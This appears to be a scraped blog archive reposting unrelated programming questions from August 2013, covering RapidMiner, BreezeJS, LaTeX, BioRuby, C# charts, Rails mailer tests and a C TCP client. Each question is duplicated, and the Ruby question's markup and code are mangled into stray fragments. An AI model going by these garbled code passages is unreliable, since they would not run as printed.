<portSpacing port="sink_through 1" spacing="0"/>
</process>
<process expanded="true">
<operator activated="true" class="apply_model"
compatibility="5.3.012" expanded="true" height="76"
name="Apply Model" width="90" x="45" y="30">
<list key="application_parameters"/>
</operator>
<operator activated="true" class="performance"
compatibility="5.3.012" expanded="true" height="76"
name="Performance" width="90" x="276" y="30"/>
<connect from_port="model" to_op="Apply Model"
to_port="model"/>
<connect from_port="test set" to_op="Apply Model"
to_port="unlabelled data"/>
<connect from_op="Apply Model" from_port="labelled data"
to_op="Performance" to_port="labelled data"/>
<connect from_op="Performance" from_port="performance"
to_port="averagable 1"/>
<portSpacing port="source_model" spacing="0"/>
<portSpacing port="source_test set" spacing="0"/>
<portSpacing port="source_through 1" spacing="0"/>
<portSpacing port="sink_averagable 1" spacing="0"/>
<portSpacing port="sink_averagable 2" spacing="0"/>
</process>
</operator>
<connect from_port="example set" to_op="Validation"
to_port="training"/>
<connect from_op="Validation" from_port="averagable 1"
to_port="performance"/>
<portSpacing port="source_example set" spacing="0"/>
<portSpacing port="sink_performance" spacing="0"/>
</process>
</operator>
<connect from_op="Retrieve Sonar" from_port="output"
to_op="Numerical to Binominal" to_port="example set input"/>
<connect from_op="Numerical to Binominal" from_port="example set
output" to_op="Set Role" to_port="example set input"/>
<connect from_op="Set Role" from_port="example set output"
to_op="Normalize" to_port="example set input"/>
<connect from_op="Normalize" from_port="example set output"
to_op="Nominal to Numerical (2)" to_port="example set input"/>
<connect from_op="Nominal to Numerical (2)" from_port="example set
output" to_op="Replace Missing Values" to_port="example set input"/>
<connect from_op="Replace Missing Values" from_port="example set
output" to_op="ICA" to_port="example set input"/>
<connect from_op="ICA" from_port="example set output" to_op="Forward
Selection" to_port="example set"/>
<connect from_op="ICA" from_port="original" to_port="result 1"/>
<connect from_op="ICA" from_port="preprocessing model"
to_port="result 2"/>
<connect from_op="Forward Selection" from_port="example set"
to_port="result 3"/>
<connect from_op="Forward Selection" from_port="attribute weights"
to_port="result 4"/>
<connect from_op="Forward Selection" from_port="performance"
to_port="result 5"/>
<portSpacing port="source_input 1" spacing="0"/>
<portSpacing port="sink_result 1" spacing="18"/>
<portSpacing port="sink_result 2" spacing="0"/>
<portSpacing port="sink_result 3" spacing="0"/>
<portSpacing port="sink_result 4" spacing="0"/>
<portSpacing port="sink_result 5" spacing="0"/>
<portSpacing port="sink_result 6" spacing="0"/>
</process>
</operator>
</process>
process flow
I have created a process flow within RapidMiner that utilizes some loops.
I'm not exactly sure where my Store Model operator should be connected to,
in order to save the model parameters derived through this process to be
in a new process.
The attached example has my data replaced with some sample data, however
the rest of the process is what I have for my actual data set.
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<process version="5.3.012">
<context>
<input/>
<output/>
<macros/>
</context>
<operator activated="true" class="process" compatibility="5.3.012"
expanded="true" name="Process">
<process expanded="true">
<operator activated="true" class="retrieve" compatibility="5.3.012"
expanded="true" height="60" name="Retrieve Sonar" width="90" x="45"
y="30">
<parameter key="repository_entry" value="//Samples/data/Sonar"/>
</operator>
<operator activated="true" class="numerical_to_binominal"
compatibility="5.3.012" expanded="true" height="76" name="Numerical
to Binominal" width="90" x="179" y="30">
<parameter key="attribute_filter_type" value="single"/>
<parameter key="attribute" value="20_OV_COVER"/>
</operator>
<operator activated="true" class="set_role" compatibility="5.3.012"
expanded="true" height="76" name="Set Role" width="90" x="45"
y="120">
<parameter key="attribute_name" value="class"/>
<parameter key="target_role" value="label"/>
<list key="set_additional_roles"/>
</operator>
<operator activated="true" class="normalize" compatibility="5.3.012"
expanded="true" height="94" name="Normalize" width="90" x="179"
y="120"/>
<operator activated="true" class="nominal_to_numerical"
compatibility="5.3.012" expanded="true" height="94" name="Nominal to
Numerical (2)" width="90" x="45" y="210">
<list key="comparison_groups"/>
</operator>
<operator activated="true" class="replace_missing_values"
compatibility="5.3.012" expanded="true" height="94" name="Replace
Missing Values" width="90" x="179" y="210">
<list key="columns"/>
</operator>
<operator activated="true" class="independent_component_analysis"
compatibility="5.3.012" expanded="true" height="94" name="ICA"
width="90" x="313" y="210">
<parameter key="number_of_components" value="700"/>
</operator>
<operator activated="true" class="optimize_selection_forward"
compatibility="5.3.012" expanded="true" height="94" name="Forward
Selection" width="90" x="514" y="75">
<parameter key="maximal_number_of_attributes" value="100"/>
<parameter key="speculative_rounds" value="10"/>
<process expanded="true">
<operator activated="true" class="x_validation"
compatibility="5.3.012" expanded="true" height="112"
name="Validation" width="90" x="112" y="30">
<parameter key="number_of_validations" value="5"/>
<process expanded="true">
<operator activated="true" class="naive_bayes"
compatibility="5.3.012" expanded="true" height="76"
name="Naive Bayes" width="90" x="112" y="30"/>
<connect from_port="training" to_op="Naive Bayes"
to_port="training set"/>
<connect from_op="Naive Bayes" from_port="model"
to_port="model"/>
<portSpacing port="source_training" spacing="0"/>
<portSpacing port="sink_model" spacing="0"/>
<portSpacing port="sink_through 1" spacing="0"/>
</process>
<process expanded="true">
<operator activated="true" class="apply_model"
compatibility="5.3.012" expanded="true" height="76"
name="Apply Model" width="90" x="45" y="30">
<list key="application_parameters"/>
</operator>
<operator activated="true" class="performance"
compatibility="5.3.012" expanded="true" height="76"
name="Performance" width="90" x="276" y="30"/>
<connect from_port="model" to_op="Apply Model"
to_port="model"/>
<connect from_port="test set" to_op="Apply Model"
to_port="unlabelled data"/>
<connect from_op="Apply Model" from_port="labelled data"
to_op="Performance" to_port="labelled data"/>
<connect from_op="Performance" from_port="performance"
to_port="averagable 1"/>
<portSpacing port="source_model" spacing="0"/>
<portSpacing port="source_test set" spacing="0"/>
<portSpacing port="source_through 1" spacing="0"/>
<portSpacing port="sink_averagable 1" spacing="0"/>
<portSpacing port="sink_averagable 2" spacing="0"/>
</process>
</operator>
<connect from_port="example set" to_op="Validation"
to_port="training"/>
<connect from_op="Validation" from_port="averagable 1"
to_port="performance"/>
<portSpacing port="source_example set" spacing="0"/>
<portSpacing port="sink_performance" spacing="0"/>
</process>
</operator>
<connect from_op="Retrieve Sonar" from_port="output"
to_op="Numerical to Binominal" to_port="example set input"/>
<connect from_op="Numerical to Binominal" from_port="example set
output" to_op="Set Role" to_port="example set input"/>
<connect from_op="Set Role" from_port="example set output"
to_op="Normalize" to_port="example set input"/>
<connect from_op="Normalize" from_port="example set output"
to_op="Nominal to Numerical (2)" to_port="example set input"/>
<connect from_op="Nominal to Numerical (2)" from_port="example set
output" to_op="Replace Missing Values" to_port="example set input"/>
<connect from_op="Replace Missing Values" from_port="example set
output" to_op="ICA" to_port="example set input"/>
<connect from_op="ICA" from_port="example set output" to_op="Forward
Selection" to_port="example set"/>
<connect from_op="ICA" from_port="original" to_port="result 1"/>
<connect from_op="ICA" from_port="preprocessing model"
to_port="result 2"/>
<connect from_op="Forward Selection" from_port="example set"
to_port="result 3"/>
<connect from_op="Forward Selection" from_port="attribute weights"
to_port="result 4"/>
<connect from_op="Forward Selection" from_port="performance"
to_port="result 5"/>
<portSpacing port="source_input 1" spacing="0"/>
<portSpacing port="sink_result 1" spacing="18"/>
<portSpacing port="sink_result 2" spacing="0"/>
<portSpacing port="sink_result 3" spacing="0"/>
<portSpacing port="sink_result 4" spacing="0"/>
<portSpacing port="sink_result 5" spacing="0"/>
<portSpacing port="sink_result 6" spacing="0"/>
</process>
</operator>
</process>
Friday, August 23, 2013
What determines the actual rate of fire?
What determines the actual rate of fire?
Many cannons list 2 rates (or a range of rate) of fire in the specs. For
example take this tier 10 German cannon:
When installed on a tank the actual rate of fire is shown:
What determines the actual rate of fire?
Edit: Too clarify: I'm looking for the reason that influences the rate of
fire shown for the gun when installed on a tank, not of the rate of fire
calculation in a battle.
Many cannons list 2 rates (or a range of rate) of fire in the specs. For
example take this tier 10 German cannon:
When installed on a tank the actual rate of fire is shown:
What determines the actual rate of fire?
Edit: Too clarify: I'm looking for the reason that influences the rate of
fire shown for the gun when installed on a tank, not of the rate of fire
calculation in a battle.
valid data- variables for JavaScript Buttons
valid data- variables for JavaScript Buttons
Is there a list of valid "data-??????" variables and their meanings?
e.g. data-amount = amount of transaction
Looking for table of variables used to make standard buttons with JavaScript.
Is there a list of valid "data-??????" variables and their meanings?
e.g. data-amount = amount of transaction
Looking for table of variables used to make standard buttons with JavaScript.
BreezeJS's 1.4.1 isolateES5Props causing Out of Stack Space error in IE 8
BreezeJS's 1.4.1 isolateES5Props causing Out of Stack Space error in IE 8
Using 1.4.1 of BreezeJS we found that some new code added to Isolate ES5
Properties is causing IE 8 to have the following error:
Error getting metadata: Metadata import failed for breeze/breeze/Metadata;
Unable to process returned metadata:Object doesn't support property or
method 'getPrototypeOf'
We tried using both Uber Proto's getPrototypeOf
(https://github.com/daffl/uberproto) and es5-sham
(https://github.com/kriskowal/es5-shim) but both result with the same
issue.
We also tried removing the regular json.parse and using json2's version
with the same results.
Metadata import failed for /breeze/breeze/Metadata; Unable to process
returned metadata:Out of stack space
Chrome, Firefox, and IE 9+ work without issue, but IE 8 support is
required. We can comment out the line to get it to work:
// isolateES5Props(proto);
But I'm guessing that will cause issues somewhere down the line.
Using 1.4.1 of BreezeJS we found that some new code added to Isolate ES5
Properties is causing IE 8 to have the following error:
Error getting metadata: Metadata import failed for breeze/breeze/Metadata;
Unable to process returned metadata:Object doesn't support property or
method 'getPrototypeOf'
We tried using both Uber Proto's getPrototypeOf
(https://github.com/daffl/uberproto) and es5-sham
(https://github.com/kriskowal/es5-shim) but both result with the same
issue.
We also tried removing the regular json.parse and using json2's version
with the same results.
Metadata import failed for /breeze/breeze/Metadata; Unable to process
returned metadata:Out of stack space
Chrome, Firefox, and IE 9+ work without issue, but IE 8 support is
required. We can comment out the line to get it to work:
// isolateES5Props(proto);
But I'm guessing that will cause issues somewhere down the line.
Change heading style in latex environment
Change heading style in latex environment
I am using the acronym environment to list some acronyms at the beginning
of a thesis I am writing. However the default heading style that acronym
places doesn't match the rest of my document. I don't know lots about
defining a class myself but I did this for my contributions and abstract
pages.
\newenvironment{contributions}
{\pagestyle{empty}
\begin{alwayssingle}
\begin{center}
\vspace*{1.5cm}
{\Large \bfseries Contributions}
\end{center}
\vspace{0.5cm}
\begin{quote}}
{\end{quote}\end{alwayssingle}}
however the acronym environment does a left align heading under a line
that spans the width of the page. Is there anyway to override this style
to match the rest of my pages?
Cheers!
I am using the acronym environment to list some acronyms at the beginning
of a thesis I am writing. However the default heading style that acronym
places doesn't match the rest of my document. I don't know lots about
defining a class myself but I did this for my contributions and abstract
pages.
\newenvironment{contributions}
{\pagestyle{empty}
\begin{alwayssingle}
\begin{center}
\vspace*{1.5cm}
{\Large \bfseries Contributions}
\end{center}
\vspace{0.5cm}
\begin{quote}}
{\end{quote}\end{alwayssingle}}
however the acronym environment does a left align heading under a line
that spans the width of the page. Is there anyway to override this style
to match the rest of my pages?
Cheers!
Passing data when you click a button?
Passing data when you click a button?
I have several buttons next to different types of textboxes throughout the
window that run the same type of flow. I have decided to clump all the
_click events into one event by adding comma delimiters with Handles. Is
there a way to tell which button was clicked through some property so that
I could enable only those specific textfields using a case statement or
something to that extent? Since it's all handled through one click
event(since i didnt want to make 10+ click events just to run the same
function that the other buttons run, save code and readability) is there
some way to find out which button was clicked ?
I have several buttons next to different types of textboxes throughout the
window that run the same type of flow. I have decided to clump all the
_click events into one event by adding comma delimiters with Handles. Is
there a way to tell which button was clicked through some property so that
I could enable only those specific textfields using a case statement or
something to that extent? Since it's all handled through one click
event(since i didnt want to make 10+ click events just to run the same
function that the other buttons run, save code and readability) is there
some way to find out which button was clicked ?
Can I use dribbble/behance API for exporting user projects to my service?
Can I use dribbble/behance API for exporting user projects to my service?
On my website users can create portfolio. Some of them upload works that
already exist in their dribble.com or behance.net accounts. Can I use API
for automatic exportnig this works to their profiles on my website? Does
it violate terms of use?
Thanks.
On my website users can create portfolio. Some of them upload works that
already exist in their dribble.com or behance.net accounts. Can I use API
for automatic exportnig this works to their profiles on my website? Does
it violate terms of use?
Thanks.
Thursday, August 22, 2013
When I use JMETER transfer character will automatically add g?h H
When I use JMETER transfer character will automatically add g?h H
While i am using cvs data config,I want to enter an user name and password
to login to the server.But the automatic adding always have "?",it makes
me mad.I am so sorry, my English is not very well.
In cvs I hava input this data,user:123456,password:11111
but while automatically adding, it add "?" in front of my user to make me
fail in logging.
While i am using cvs data config,I want to enter an user name and password
to login to the server.But the automatic adding always have "?",it makes
me mad.I am so sorry, my English is not very well.
In cvs I hava input this data,user:123456,password:11111
but while automatically adding, it add "?" in front of my user to make me
fail in logging.
Extract all possible methionine residues to the end from a protein sequence
Extract all possible methionine residues to the end from a protein sequence
pI am looking to extract all Methionine residues to the end from a
sequence. /p pe.g./p pIn the below sequence:/p
precodeMFEIEEHMKDSQVEYIIGLHNIPLLNATISVKCTGFQRTMNMQGCANKFMQRHYENPLTG
/code/pre pOriginal Amino Acid sequence
(atgtttgaaatcgaagaacatatgaaggattcacaggtggaatacataattggccttcataatatcccattattgaatgcaactatttcagtgaagtgcacaggatttcaaagaactatgaatatgcaaggttgtgctaataaatttatgcaaagacattatgagaatcccctgacgggg)/p
pI want to extract from the sequence any M residue to the end e.g. obtain
the following:/p pcode-
MFEIEEHMKDSQVEYIIGLHNIPLLNATISVKCTGFQRTMNMQGCANKFMQRHYENPLTG/code/p pcode-
MKDSQVEYIIGLHNIPLLNATISVKCTGFQRTMNMQGCANKFMQRHYENPLTG/code/p pcode-
MNMQGCANKFMQRHYENPLTG/code/p pcode- MQGCANKFMQRHYENPLTG/code/p pcode-
MQRHYENPLTG/code/p pWith the data I am working with there are cases where
there are a lot more M residues in the sequence. /p pThe script I am
currently have is below (This script translates the genomic data first and
then works with the amino acid sequences). This does the first two
extractions but nothing further. /p pI have tried to repeat the same scan
method after the second scan (See commented part in the script below) but
this just gives me an error - codeprivate method scan called for
#lt;Array:0x7f80884c84b0gt; No Method Error/code /p pI understand I need
to make a loop of some kind and have tried, but all in vain. I have also
tried matching but I haven't been able to do so - I think that you cannot
match overlapping characters a single match method but then again I'm only
a beginner.../p pSo here is the script I'm using.../p
precode#!/usr/bin/env ruby require bio def
extract_open_reading_frames(input) file_output = File.new(./output.aa, w)
input.each_entry do |entry| i = 1 entry.naseq.translate(1).scan(/M\w*/i)
do |orf1| file_output.puts gt;#{entry.definition.to_s} 5\'3\' frame
1:#{i}\n#{orf1} i = i + 1 orf1.scan(/.(M\w*)/i) do |orf2| file_output.puts
gt;#{entry.definition.to_s} 5\'3\' frame 1:#{i}\n#{orf2} i = i + 1 #
orf2.scan(/.(M\w*)/i) do |orf3| # file_output.puts
gt;#{entry.definition.to_s} 5\'3\' frame 1:#{i}\n#{orf3} # i = i + 1 # end
end end end file_output.close end biofastafile =
Bio::FlatFile.new(Bio::FastaFormat, ARGF)
extract_open_reading_frames(biofastafile) /code/pre pThe script has to be
in ruby since this part of a much longer script that is in ruby.../p pMany
Thanks,/p
pI am looking to extract all Methionine residues to the end from a
sequence. /p pe.g./p pIn the below sequence:/p
precodeMFEIEEHMKDSQVEYIIGLHNIPLLNATISVKCTGFQRTMNMQGCANKFMQRHYENPLTG
/code/pre pOriginal Amino Acid sequence
(atgtttgaaatcgaagaacatatgaaggattcacaggtggaatacataattggccttcataatatcccattattgaatgcaactatttcagtgaagtgcacaggatttcaaagaactatgaatatgcaaggttgtgctaataaatttatgcaaagacattatgagaatcccctgacgggg)/p
pI want to extract from the sequence any M residue to the end e.g. obtain
the following:/p pcode-
MFEIEEHMKDSQVEYIIGLHNIPLLNATISVKCTGFQRTMNMQGCANKFMQRHYENPLTG/code/p pcode-
MKDSQVEYIIGLHNIPLLNATISVKCTGFQRTMNMQGCANKFMQRHYENPLTG/code/p pcode-
MNMQGCANKFMQRHYENPLTG/code/p pcode- MQGCANKFMQRHYENPLTG/code/p pcode-
MQRHYENPLTG/code/p pWith the data I am working with there are cases where
there are a lot more M residues in the sequence. /p pThe script I am
currently have is below (This script translates the genomic data first and
then works with the amino acid sequences). This does the first two
extractions but nothing further. /p pI have tried to repeat the same scan
method after the second scan (See commented part in the script below) but
this just gives me an error - codeprivate method scan called for
#lt;Array:0x7f80884c84b0gt; No Method Error/code /p pI understand I need
to make a loop of some kind and have tried, but all in vain. I have also
tried matching but I haven't been able to do so - I think that you cannot
match overlapping characters a single match method but then again I'm only
a beginner.../p pSo here is the script I'm using.../p
precode#!/usr/bin/env ruby require bio def
extract_open_reading_frames(input) file_output = File.new(./output.aa, w)
input.each_entry do |entry| i = 1 entry.naseq.translate(1).scan(/M\w*/i)
do |orf1| file_output.puts gt;#{entry.definition.to_s} 5\'3\' frame
1:#{i}\n#{orf1} i = i + 1 orf1.scan(/.(M\w*)/i) do |orf2| file_output.puts
gt;#{entry.definition.to_s} 5\'3\' frame 1:#{i}\n#{orf2} i = i + 1 #
orf2.scan(/.(M\w*)/i) do |orf3| # file_output.puts
gt;#{entry.definition.to_s} 5\'3\' frame 1:#{i}\n#{orf3} # i = i + 1 # end
end end end file_output.close end biofastafile =
Bio::FlatFile.new(Bio::FastaFormat, ARGF)
extract_open_reading_frames(biofastafile) /code/pre pThe script has to be
in ruby since this part of a much longer script that is in ruby.../p pMany
Thanks,/p
C# ChartAreas zoom event to redraw labels
C# ChartAreas zoom event to redraw labels
I'm using Microsoft Visual Studio 2010 (C#) .NET 4.0 to do a chart. I've
enabled a zoom feature.
The Data can span several days and needs to be "zoomable" to within about
10-20 seconds.
// Compute how long between each label.
// It will differ depending if we are dealing with a timespan of days,
if (TimeSpanOfGraph > new TimeSpan(24, 0, 0)) {
DateTimeInterval = DateTimeIntervalType.Minutes;
IntervalPeriod = 15;
}
else if (TimeSpanOfGraph > new TimeSpan(6, 0, 0)) {
DateTimeInterval = DateTimeIntervalType.Seconds;
IntervalPeriod = 30;
}
else if (TimeSpanOfGraph > new TimeSpan(1, 0, 0)) {
DateTimeInterval = DateTimeIntervalType.Seconds; IntervalPeriod = 1;
}
else {
DateTimeInterval = DateTimeIntervalType.Seconds;
IntervalPeriod = 1;
}
MasterPlot.ChartAreas[PlotNumber].AxisX.Title = "Absolute time";
MasterPlot.ChartAreas[PlotNumber].AxisX.LabelStyle.Format = "MM/dd HH:mm";
MasterPlot.ChartAreas[PlotNumber].AxisX.LabelStyle.IntervalType =
DateTimeInterval;
MasterPlot.ChartAreas[PlotNumber].AxisX.LabelStyle.Interval = IntervalPeriod;
If I make the DateTimeInterval and IntervalPeriod too long, it won't show
up when I zoom (it'll only show "Thursday" for one point). If I make it
too narrow, it'll try to draw a label for every minute over three days. If
I set IntervalType to Auto, I get "MM/dd" as my label. :)
Curious if anyone can suggest the proper way to do this. Ditto for Y axis.
I'm using Microsoft Visual Studio 2010 (C#) .NET 4.0 to do a chart. I've
enabled a zoom feature.
The Data can span several days and needs to be "zoomable" to within about
10-20 seconds.
// Compute how long between each label.
// It will differ depending if we are dealing with a timespan of days,
if (TimeSpanOfGraph > new TimeSpan(24, 0, 0)) {
DateTimeInterval = DateTimeIntervalType.Minutes;
IntervalPeriod = 15;
}
else if (TimeSpanOfGraph > new TimeSpan(6, 0, 0)) {
DateTimeInterval = DateTimeIntervalType.Seconds;
IntervalPeriod = 30;
}
else if (TimeSpanOfGraph > new TimeSpan(1, 0, 0)) {
DateTimeInterval = DateTimeIntervalType.Seconds; IntervalPeriod = 1;
}
else {
DateTimeInterval = DateTimeIntervalType.Seconds;
IntervalPeriod = 1;
}
MasterPlot.ChartAreas[PlotNumber].AxisX.Title = "Absolute time";
MasterPlot.ChartAreas[PlotNumber].AxisX.LabelStyle.Format = "MM/dd HH:mm";
MasterPlot.ChartAreas[PlotNumber].AxisX.LabelStyle.IntervalType =
DateTimeInterval;
MasterPlot.ChartAreas[PlotNumber].AxisX.LabelStyle.Interval = IntervalPeriod;
If I make the DateTimeInterval and IntervalPeriod too long, it won't show
up when I zoom (it'll only show "Thursday" for one point). If I make it
too narrow, it'll try to draw a label for every minute over three days. If
I set IntervalType to Auto, I get "MM/dd" as my label. :)
Curious if anyone can suggest the proper way to do this. Ditto for Y axis.
Orthogonal polynomial integrals vanish
Orthogonal polynomial integrals vanish
What is meant when an integral "vanishes" over a certain interval? For
example, between $0$ and $\pi$:
$$\int(\cos m\theta) (\cos n\theta)d\theta=0$$
Does this imply there is no area under the curve, and that these two
polynomials form a basis?
What is meant when an integral "vanishes" over a certain interval? For
example, between $0$ and $\pi$:
$$\int(\cos m\theta) (\cos n\theta)d\theta=0$$
Does this imply there is no area under the curve, and that these two
polynomials form a basis?
Configuration Error when deploying active reports
Configuration Error when deploying active reports
Mine is an active report using application which is working fine from
local. When publishing this to server it showing configuration error with
the Assessmbly in web.config. I've added the Licence.licx file to the
root. App_licence.dll,ARVSPackage.dll to the correct folders. Even then
its showing configuration error.
Mine is an active report using application which is working fine from
local. When publishing this to server it showing configuration error with
the Assessmbly in web.config. I've added the Licence.licx file to the
root. App_licence.dll,ARVSPackage.dll to the correct folders. Even then
its showing configuration error.
200 Test Devices in iOS Developer Account
200 Test Devices in iOS Developer Account
We have reached our 100 devices quota. We were planning to buy an
individual iOS Dev Acct, but we saw this article:
http://www.macrumors.com/2013/08/16/apple-begins-allowing-200-test-devices-per-developer-account/
Is there anyone of you who has 200 device slots as of now? One of our
managers is hesitant to purchase because he read that article. (And he saw
more articles in the past few days.)
As of now, as far as I know, Apple has not made any official announcements
regarding that as well.
Do you know if this is true? or just a hoax?
Thanks :)
We have reached our 100 devices quota. We were planning to buy an
individual iOS Dev Acct, but we saw this article:
http://www.macrumors.com/2013/08/16/apple-begins-allowing-200-test-devices-per-developer-account/
Is there anyone of you who has 200 device slots as of now? One of our
managers is hesitant to purchase because he read that article. (And he saw
more articles in the past few days.)
As of now, as far as I know, Apple has not made any official announcements
regarding that as well.
Do you know if this is true? or just a hoax?
Thanks :)
Wednesday, August 21, 2013
Your browser security settings don't permit automatic execution of paste operations
Your browser security settings don't permit automatic execution of paste
operations
I am using a MaskedEditExtender within my custom control in an ASP.Net
application. Whenever I try to paste some data into the textbox,
especially in firefox browser. A popup alert prompts me to enter "Your
browser security settings don't permit the automatic execution of paste
operations. Please use the keyboard shortcut Ctrl+V instead.".
I want to avoid this popup alert. Please provide your suggestions.
Thanks in advance, Santhosh
operations
I am using a MaskedEditExtender within my custom control in an ASP.Net
application. Whenever I try to paste some data into the textbox,
especially in firefox browser. A popup alert prompts me to enter "Your
browser security settings don't permit the automatic execution of paste
operations. Please use the keyboard shortcut Ctrl+V instead.".
I want to avoid this popup alert. Please provide your suggestions.
Thanks in advance, Santhosh
How to filter data for rest API based on drop downs
How to filter data for rest API based on drop downs
I asked a similar question earlier for which I got a lot of help: How to
update model with new records in EmberJS
With that question I'm able to filter the data by making different
templates for each filter item.
But I'd like to filter the data by selecting something from the drop down
and then typing something in the text box. So if starts was selected from
the drop down and 4 was entered in the text box and submit was clicked
then the request would be made to find({stars: "4"})
Is there a way to do this? I trying to at least create the filter terms
based on the drop down selection and input text box but jquery doesn't
seem to be taking affect. I guess because the submit element is inside the
template.
Here is the jsBin for this: http://jsbin.com/OcAyoYo/18/edit
I asked a similar question earlier for which I got a lot of help: How to
update model with new records in EmberJS
With that question I'm able to filter the data by making different
templates for each filter item.
But I'd like to filter the data by selecting something from the drop down
and then typing something in the text box. So if starts was selected from
the drop down and 4 was entered in the text box and submit was clicked
then the request would be made to find({stars: "4"})
Is there a way to do this? I trying to at least create the filter terms
based on the drop down selection and input text box but jquery doesn't
seem to be taking affect. I guess because the submit element is inside the
template.
Here is the jsBin for this: http://jsbin.com/OcAyoYo/18/edit
Firefox add-on to load webpage without network access
Firefox add-on to load webpage without network access
I'm wondering if Firefox can indicate that a webpage should be loaded but
without network access (at least beyond its own directory). The purpose is
to allow a file to conduct postMessage communications with a privileged
add-on, but without there being any privacy concerns.
I'm wondering if Firefox can indicate that a webpage should be loaded but
without network access (at least beyond its own directory). The purpose is
to allow a file to conduct postMessage communications with a privileged
add-on, but without there being any privacy concerns.
Passing value from 1 android spinner to the next spinner
Passing value from 1 android spinner to the next spinner
Hey i would like to ask how i can pass a selected value from 1 spinner to
the next. Example if:
Spinner 1 = "School" is selected
Spinner 2 = Shows sub items for the selected item "School"
OR
Spinner 1 = "Office" is selected
Spinner 2 = Shows sub items for the selected item "Office".
Hey i would like to ask how i can pass a selected value from 1 spinner to
the next. Example if:
Spinner 1 = "School" is selected
Spinner 2 = Shows sub items for the selected item "School"
OR
Spinner 1 = "Office" is selected
Spinner 2 = Shows sub items for the selected item "Office".
ActionMailer::Base.deliveries always empty in RSpec model test in Rails 4
ActionMailer::Base.deliveries always empty in RSpec model test in Rails 4
I have the following failing test:
describe Image do
describe 'a_method' do
it 'sends email' do
Image.count.should == 1
expect do
ImageMailer.deleted_image(Image.last.id).deliver
end.to change(ActionMailer::Base.deliveries, :length)
end
end
end
And here's my mailer:
class ImageMailer < ActionMailer::Base
layout 'email'
default from: 'whee@example.com'
def deleted_image image_id, recipient='whee@example.com'
@image = Image.find(image_id)
subject = "Image email"
mail(to: recipient, subject: subject) do |format|
format.text
format.html { render layout: 'email' }
end
end
end
My test fails with Failure/Error: expect do length should have changed,
but is still 0. I have another test for my mailer itself and it passes:
describe ImageMailer do
it 'should deliver the mail' do
expect do
subject.deliver
end.to change { ActionMailer::Base.deliveries.length }.by(1)
end
end
I don't know why ActionMailer::Base.deliveries is always empty in my model
spec but not in my mailer spec. The mail obviously works. My model test
was originally different, testing whether a method on my model caused an
email to be sent, but when that failed to generate a mail delivery, I
explicitly tried the ImageMailer.deleted_image(Image.last.id).deliver line
and it didn't work. Is there something special about RSpec tests where the
object being described is a mailer class?
Here are some relevant lines from my config/environments/test.rb file:
config.action_mailer.delivery_method = :test
config.action_mailer.default_url_options = {host: 'localhost:3000'}
config.action_mailer.perform_deliveries = true
I have the following failing test:
describe Image do
describe 'a_method' do
it 'sends email' do
Image.count.should == 1
expect do
ImageMailer.deleted_image(Image.last.id).deliver
end.to change(ActionMailer::Base.deliveries, :length)
end
end
end
And here's my mailer:
class ImageMailer < ActionMailer::Base
layout 'email'
default from: 'whee@example.com'
def deleted_image image_id, recipient='whee@example.com'
@image = Image.find(image_id)
subject = "Image email"
mail(to: recipient, subject: subject) do |format|
format.text
format.html { render layout: 'email' }
end
end
end
My test fails with Failure/Error: expect do length should have changed,
but is still 0. I have another test for my mailer itself and it passes:
describe ImageMailer do
it 'should deliver the mail' do
expect do
subject.deliver
end.to change { ActionMailer::Base.deliveries.length }.by(1)
end
end
I don't know why ActionMailer::Base.deliveries is always empty in my model
spec but not in my mailer spec. The mail obviously works. My model test
was originally different, testing whether a method on my model caused an
email to be sent, but when that failed to generate a mail delivery, I
explicitly tried the ImageMailer.deleted_image(Image.last.id).deliver line
and it didn't work. Is there something special about RSpec tests where the
object being described is a mailer class?
Here are some relevant lines from my config/environments/test.rb file:
config.action_mailer.delivery_method = :test
config.action_mailer.default_url_options = {host: 'localhost:3000'}
config.action_mailer.perform_deliveries = true
connect to tcp server whit different port.not a port that is set.c language
connect to tcp server whit different port.not a port that is set.c language
i write i tcp client in c language.tcp server is writen in java.Problem is
that i set specific port that client use but i connect to server whit
another port not port that i set. Why this is happen any idea?
connect function is:
int CONECT_T0_SERVER(void)
{
int iSetOption = 1;
sock_descriptor = socket(AF_INET, SOCK_STREAM, 0);
setsockopt(sock_descriptor, SOL_SOCKET, SO_REUSEADDR, (char*)&iSetOption,
sizeof(iSetOption));
if(sock_descriptor < 0)
printf("Failed creating socket\n");
memset(&sa_loc, 0, sizeof(struct sockaddr_in));
sa_loc.sin_family = AF_INET;
sa_loc.sin_port = htons(10002);
sa_loc.sin_addr.s_addr = inet_addr("10.10.1.30");
ret = bind(sock_descriptor, (struct sockaddr *)&sa_loc, sizeof(struct
sockaddr));
bzero((char *)&serv_addr, sizeof(serv_addr));
server = gethostbyname("10.10.1.120");
// server = gethostbyname("192.168.123.103");
//server = gethostbyname("127.0.0.1");
if(server == NULL)
{
printf("Failed finding server name\n");
return -1;
}
serv_addr.sin_family = AF_INET;
memcpy((char *) &(serv_addr.sin_addr.s_addr), (char
*)(server->h_addr), server- >h_length);
serv_addr.sin_port = htons(10000);
//serv_addr.sin_port = htons(1234);
if (connect(sock_descriptor, (struct sockaddr *)&serv_addr,
sizeof(serv_addr)) < 0)
{
printf("Failed to connect to server\n");
return -1;
}
else
{
printf("Connected successfully \n");
}
return 0;
}
server port is 10000 and client port is set to 10002 but when i connect to
server client port is different.
i write i tcp client in c language.tcp server is writen in java.Problem is
that i set specific port that client use but i connect to server whit
another port not port that i set. Why this is happen any idea?
connect function is:
int CONECT_T0_SERVER(void)
{
int iSetOption = 1;
sock_descriptor = socket(AF_INET, SOCK_STREAM, 0);
setsockopt(sock_descriptor, SOL_SOCKET, SO_REUSEADDR, (char*)&iSetOption,
sizeof(iSetOption));
if(sock_descriptor < 0)
printf("Failed creating socket\n");
memset(&sa_loc, 0, sizeof(struct sockaddr_in));
sa_loc.sin_family = AF_INET;
sa_loc.sin_port = htons(10002);
sa_loc.sin_addr.s_addr = inet_addr("10.10.1.30");
ret = bind(sock_descriptor, (struct sockaddr *)&sa_loc, sizeof(struct
sockaddr));
bzero((char *)&serv_addr, sizeof(serv_addr));
server = gethostbyname("10.10.1.120");
// server = gethostbyname("192.168.123.103");
//server = gethostbyname("127.0.0.1");
if(server == NULL)
{
printf("Failed finding server name\n");
return -1;
}
serv_addr.sin_family = AF_INET;
memcpy((char *) &(serv_addr.sin_addr.s_addr), (char
*)(server->h_addr), server- >h_length);
serv_addr.sin_port = htons(10000);
//serv_addr.sin_port = htons(1234);
if (connect(sock_descriptor, (struct sockaddr *)&serv_addr,
sizeof(serv_addr)) < 0)
{
printf("Failed to connect to server\n");
return -1;
}
else
{
printf("Connected successfully \n");
}
return 0;
}
